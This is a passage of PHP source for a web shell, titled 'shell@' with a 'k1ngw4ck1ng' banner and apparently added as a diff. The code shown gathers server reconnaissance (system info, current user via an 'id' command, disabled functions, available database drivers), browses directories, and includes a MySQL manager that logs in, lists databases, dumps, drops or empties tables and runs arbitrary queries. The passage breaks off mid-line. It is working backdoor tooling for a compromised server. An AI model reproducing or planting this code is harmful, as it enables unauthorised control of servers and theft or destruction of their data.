//#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> + +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>shell@<?php echo getenv("HTTP_HOST"); ?></title><STYLE> +TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;} +.style1 { + color: #FF0000; + font-weight: bold; +} +.style2 {font-size: -3} +</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><div align="center"><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"></p> + <p><font size="-3"><span class="style2"></br> + <font color="#333333">k1ngw4ck1ng</font><font color="white">w</font><font color="#333333">4ck1</font><font color="white">ngw4ck1n</font><font color="#333333">gw4c</font><font color="white">k</font><font color="#333333">1ngw4ck</font><font color="white">1ngw</font><font color="#333333">4ck</font><font color="white">1</font><font color="#333333">ngw4ck1ngw4ck1ng</font><font color="white">w4</font><font color="#333333">ck1ngw4ck1</font><font color="white">n</font><font color="#333333">gw4ck1ngw</font><font color="white">4</font><font color="#333333">ck1ngw4ck1</font><font color="white">n</font><font color="#333333">gw4c</font><font color="white">k1ng</font><font color="#333333">w4ck1ngw4ck1ngw4ck1ngw4ck1ng</font><br> + + <font color="#333333">w4ck1ngw4c</font><font color="white">k1n</font><font color="#333333">gw4ck</font><font color="white">1ngw4</font><font color="#333333">ck</font><font color="white">1ngw4ck1n</font><font color="#333333">gw</font><font color="white">4ck1n</font><font color="#333333">g</font><font color="white">w</font><font color="#333333">4ck1ngw4ck</font><font color="white">1ngw4</font><font color="#333333">ck</font><font color="white">1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4ck1</font><font color="#333333">ngw4ck</font><font color="white">1n</font><font color="#333333">gw4ck1ngw</font><font color="white">4ck</font><font color="#333333">1ng</font><font color="white">w4ck</font><font color="#333333">1ngw4ck1ngw4ck1ngw4ck1ngw4ck</font><br> + + <font color="#333333">1ngw4ck1ng</font><font color="white">w4ck</font><font color="#333333">1ngw</font><font color="white">4ck1</font><font color="#333333">ngw4</font><font color="white">ck1</font><font color="#333333">ng</font><font color="white">w4c</font><font color="#333333">k1</font><font color="white">ngw4</font><font color="#333333">c</font><font color="white">k1</font><font color="#333333">ngw</font><font color="white">4</font><font color="#333333">ck</font><font color="white">1ngw4ck1ng</font><font color="#333333">w</font><font color="white">4ck</font><font color="#333333">1ng</font><font color="white">w4ck1n</font><font color="#333333">gw4ck1ngw</font><font color="white">4ck</font><font color="#333333">1ngw4ck1</font><font color="white">ngw4</font><font color="#333333">c</font><font color="white">k1ngw</font><font color="#333333">4ck1n</font><font color="white">gw4ck1ngw4ck</font><font color="#333333">1ngw4ck1ngw</font><br> + + <font color="#333333">4ck1ngw4ck1</font><font color="white">ngw4</font><font color="#333333">ck</font><font color="white">1ngw4</font><font color="#333333">ck1</font><font color="white">ngw4</font><font color="#333333">ck1ngw</font><font color="white">4ck1</font><font color="#333333">n</font><font color="white">gw4</font><font color="#333333">ck1</font><font color="white">ngw4ck</font><font color="#333333">1ngw4</font><font color="white">ck</font><font color="#333333">1</font><font color="white">ngw4ck1n</font><font color="#333333">gw4ck1ngw4ck</font><font color="white">1ngw</font><font color="#333333">4ck1ngw4</font><font color="white">ck1n</font><font color="#333333">g</font><font color="white">w4ck1ngw4ck</font><font color="#333333">1ngw4c</font><font color="white">k1ngw</font><font color="#333333">4ck1ngw4ck1</font><br> + + <font color="#333333">ngw4ck1ngw4c</font><font color="white">k1ngw4ck1ng</font><font color="#333333">w4</font><font color="white">ck1n</font><font color="#333333">gw4ck1</font><font color="white">ngw4</font><font color="#333333">c</font><font color="white">k1ngw4ck1n</font><font color="#333333">gw4ck1n</font><font color="white">gw4ck1ngw4ck</font><font color="#333333">1ngw4ck1ng</font><font color="white">w4ck1</font><font color="#333333">ngw4ck1</font><font color="white">ngw4ck1ngw4ck1ng</font><font color="#333333">w4ck1ng</font><font color="white">w4ck1n</font><font color="#333333">gw4ck1ngw4</font><br> + + <font color="#333333">ck1ngw4ck1ng</font><font color="white">w4ck1ngw</font><font color="#333333">4c</font><font color="white">k1ngw4c</font><font color="#333333">k1ng</font><font color="white">w4ck1ngw4c</font><font color="#333333">k1n</font><font color="white">gw4c</font><font color="#333333">k1ngw4c</font><font color="white">k1ngw4ck1ngw4ck</font><font color="#333333">1ngw4c</font><font color="white">k1</font><font color="#333333">n</font><font color="white">gw4</font><font color="#333333">ck1ngw4</font><font color="white">ck1ngw4ck1ngw4ck1ngw4ck1ngw</font><font color="#333333">4ck1ngw4ck1n</font><br> + + <font color="#333333">gw4ck1ngw4ck1</font><font color="white">ngw4ck</font><font color="#333333">1ngw</font><font color="white">4ck1ng</font><font color="#333333">w4c</font><font color="white">k1ngw</font><font color="#333333">4</font><font color="white">ck1n</font><font color="#333333">gw4c</font><font color="white">k1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4ck1ngw4ck1ngw4ck1</font><font color="#333333">ngw4ck</font><font color="white">1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4</font><font color="#333333">c</font><font color="white">k1ngw4</font><font color="#333333">ck1</font><font color="white">ngw4</font><font color="#333333">ck1ngw4</font><font color="white">ck1</font><font color="#333333">ngw4ck1ngw4c</font><br> + + <font color="#333333">k1ngw4ck1ngw4c</font><font color="white">k1ngw</font><font color="#333333">4ck1n</font><font color="white">gw4ck</font><font color="#333333">1ngw4ck1n</font><font color="white">gw4c</font><font color="#333333">k1ngw</font><font color="white">4ck1ngw4ck1n</font><font color="#333333">g</font><font color="white">w4ck1</font><font color="#333333">ngw4</font><font color="white">ck1ngw4ck</font><font color="#333333">1ngw</font><font color="white">4ck</font><font color="#333333">1ngw4c</font><font color="white">k1n</font><font color="#333333">gw</font><font color="white">4ck1</font><font color="#333333">ngw4ck1n</font><font color="white">g</font><font color="#333333">w4ck1n</font><font color="white">gw4c</font><font color="#333333">k1ngw4ck1ng</font><br> + + <font color="#333333">w4ck1ngw4ck1ngw4</font><font color="white">ck1</font><font color="#333333">ngw4ck</font><font color="white">1ngw</font><font color="#333333">4ck1ngw4</font><font color="white">ck1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4ck1ngw</font><font color="#333333">4ck1</font><font color="white">ngw4</font><font color="#333333">ck1ngw4ck</font><font color="white">1ngw4ck1ngw4c</font><font color="#333333">k1n</font><font color="white">gw4</font><font color="#333333">ck1n</font><font color="white">gw4</font><font color="#333333">ck1ngw4ck1ngw</font><font color="white">4ck1ng</font><font color="#333333">w4ck1ngw4ck</font><br> + + <font color="#333333">1ngw4ck1ngw4ck1ngw4ck1ngw4</font><font color="white">c</font><font color="#333333">k1ngw4ck1ng</font><font color="white">w</font><font color="#333333">4ck1ngw4ck1ngw4ck1ngw4ck1n</font><font color="white">g</font><font color="#333333">w4ck1ngw4c</font><font color="white">k1ngw4</font><font color="#333333">c</font><font color="white">k</font><font color="#333333">1ngw4c</font><font color="white">k1n</font><font color="#333333">gw4c</font><font color="white">k1n</font><font color="#333333">gw4ck1ngw4ck1ngw</font><font color="white">4ck1n</font><font color="#333333">gw4ck1ngw</font><br> + + <font color="#333333">4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ng</font><font color="white">w4</font><font color="#333333">ck1ngw4ck1ngw4ck1n</font><font color="white">gw4ck</font><font color="#333333">1ngw4ck1</font><br> + <font color="#333333">ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1</font><font color="white">n</font><font color="#333333">gw4ck1ngw4ck1ngw4ck1ng</font><font color="white">w</font><font color="#333333">4ck1ngw4</font></br> + </span>&nbsp;</p></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>System Info:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><? echo "<b>Disabled functions</b>: <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} ?><p align="left"><b>We are: <?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?><?php $curl_on = @function_exists('curl_version'); +echo "<br/>cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); ?></br><? if(@ini_get("register_globals")){$reg_g="<font color=green>ON</font>";}else{$reg_g="<font color=red>OFF</font>";} echo("<b>Register globals:</b> $reg_g"); ?><?php echo "<br/>MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } +echo "</b>"; +echo "<br/>MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?> </b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; + +} +echo "<br>"; +echo "<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"><br/></font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."w4/act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr> + <td width="30%" height="1"><b>Create a new table:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td> + + <td width="30%" height="1"><b>Dump DataBase:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" 